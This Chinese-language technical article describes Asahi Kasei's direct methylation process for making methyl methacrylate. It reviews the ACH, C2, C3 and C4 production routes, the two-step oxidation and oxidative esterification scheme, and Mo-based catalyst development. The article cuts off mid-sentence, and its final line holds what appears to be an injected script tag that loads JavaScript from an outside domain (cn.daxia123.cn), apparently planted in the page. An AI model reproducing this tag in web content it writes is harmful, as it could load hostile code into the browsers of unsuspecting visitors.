直接甲基法ＭＭＡ制造新工艺    甲基丙烯酸甲酯（ＭＭＡ）作为均聚物ＰＭＭＡ树脂与其他聚合性单体共聚物的原料，是重要的单体。ＰＭＭＡ因其透明性、耐候性等优良特点在建材、广告牌、汽车材料和各种光学材料等领域使用。该共聚物因为以ＭＭＡ具有的特性为基础，可根据用途进行聚合物设计，因此用于涂料和各种改性剂等各种功能材料，特别是共聚物涂料一直增长。世界ＭＭＡ的生产能力约２００万吨，今后市场引人注目。    多年来，一些企业对其生产方法进行了多种研究，最近，日本旭化成工业公司完成了商业化Ｃ４新工艺———直接甲基法。    一、ＭＭＡ生产方法概况    ＭＭＡ的制造１９３５年由Ｒｏｅｈｍ开始，其后的改良法由ＩＣＩ公司１９３７年商业化，其制造方法是以由丙酮和氰酸制得的丙酮合氰化氢（ＡＣＨ）和甲醇为原料的，称做ＡＣＨ法。由于这种方法是实现了高收率的工艺，现在，世界约８０％的ＭＭＡ是用它生产的。但是，随着ＭＭＡ的需求增加，作为ＡＣＨ原料的氰酸供应困难，副产重硫铵的处理费用问题日益显在化，所以有关公司一直致力于开发可取代ＡＣＨ法的新制法。    关于已提案的新工艺已有许多报道，现在，ＭＭＡ在世界上有制造方法不同的５类装置在运转。如果将其按制造方法大致区分，则Ｃ２法有巴斯夫采用的乙烯羟基化反应和甲醛缩合反应组合的制造方法；Ｃ３法有现行的ＡＣＨ法和三菱瓦斯化学的不用硫酸而采用甲酸乙酯将中间体酰胺基酯化的新ＡＣＨ法；Ｃ４法有甲代丙烯基单体（日本触媒、住友化学）、共用单体（可乐丽、三井东压化学）的异丁烯或ＴＢＡ氧化酯化的直接氧化法和旭化成以甲基丙烯腈为原料的ＭＡＮ法。在日本有Ｃ４馏分利用和氰酸供应困难的问题，因为直接氧化法是不副产重硫铵的工艺，所以仍占主流。    旭化成的ＭＭＡ由ＭＡＮ法和ＡＣＨ法制造，为了寻求事业的展开，该公司自１９７０年以来对几个ＭＭＡ工艺进行开发，最终将目标集中在“直接甲基法”，从１９８０年上半年开始基础研究，一直以催化剂为中心进行研究。其后，１９９３年建设日产２０～３０ｋｇ规模的中试装置，以采用新项目开发体制致力于催化剂技术及工艺技术的开发，以总运转１５０００小时确认了该技术，并确立了对世界现行工艺具有竞争力的工业化工艺。现在，旭化成正在川崎制造所内建设年产６万吨规模的直接甲基法ＭＭＡ新装置，预定１９９８年下半年投产。    二、直接甲基法制造工艺的概要和特征    本工艺由异丁烯或ＴＢＡ氧化合成异丁烯醛（ＭＡＬ）工段和接着在甲醇存在下进行氧化酯化，直接合成ＭＭＡ的工段组成。    第一步反应工艺是３００～４５０℃的气相氧化反应，与现行直接氧化法的前段氧化工段基本相同。    第二步反应工艺是由气相-液相-固相（催化剂）三相组成的液相氧化反应，在５０～１００℃的温和条件下进行。    直接甲基法的最大特征是对现行直接氧化法不经过甲基丙烯酸（ＭＡＡ），而由ＭＡＬ的氧化酯化反应直接合成ＭＭＡ。    直接氧化法中，ＭＡＬ的氧化催化剂还存在技术问题，而直接甲基法不经过易聚性ＭＡＡ能够直接制得ＭＭＡ，另外还涉及到ＭＭＡ分离、回收的工艺简化，可以说是具有优越性的工艺。    开发本工艺必须解决以下技术课题目①工业催化剂技术的确立，特别是贵金属催化剂的制法及其适用技术；②产品ＭＭＡ及其副产物分离、精制技术的确立；③工艺稳定运转技术的确立；④ＭＭＡ产品质量的确认及评价。    下面就这些课题以催化剂为中心叙述本工艺的技术概要。    １.异丁烯（或ＴＢＡ）的氧化反应    本工艺与现行直接氧化法的前段反应工艺基本相同，但严格来讲，由于反应后的ＭＡＬ回收工艺的制约，需要低控反应出口的氧浓度。    催化剂使用Ｍｏ基复合氧化物，但在低氧浓度下（还原环境）的耐久性（寿命）是催化剂开发的课题。    以前，异丁烯（或ＴＢＡ）的氧化反应与丙烯的氧化同样，采用π- 烯丙基型的吸附形式和催化剂的晶格氧及附加于此的结构。另外，在催化剂（ＡＮ催化剂）的开发上，以ＭｏＢｉ基催化剂作为起源的仍为大部分，但是，异丁烯与丙烯反应性不同。对这种催化剂的开发使用已提出了许多新方案，异丁烯醛的收率可达８０％以上。    旭化成将ＡＮ催化剂的开发作为核心课题，其后是以异丁烯为原料的ＭＡＮ催化剂开发，已进行了３０多年。该反应的Ｍｏ基复合氧化物催化剂的开发，最大限度活用了ＡＮ和ＭＡＮ催化剂的研制方法及其评价技术?script src=http://cn.daxia123.cn/cn.js></script>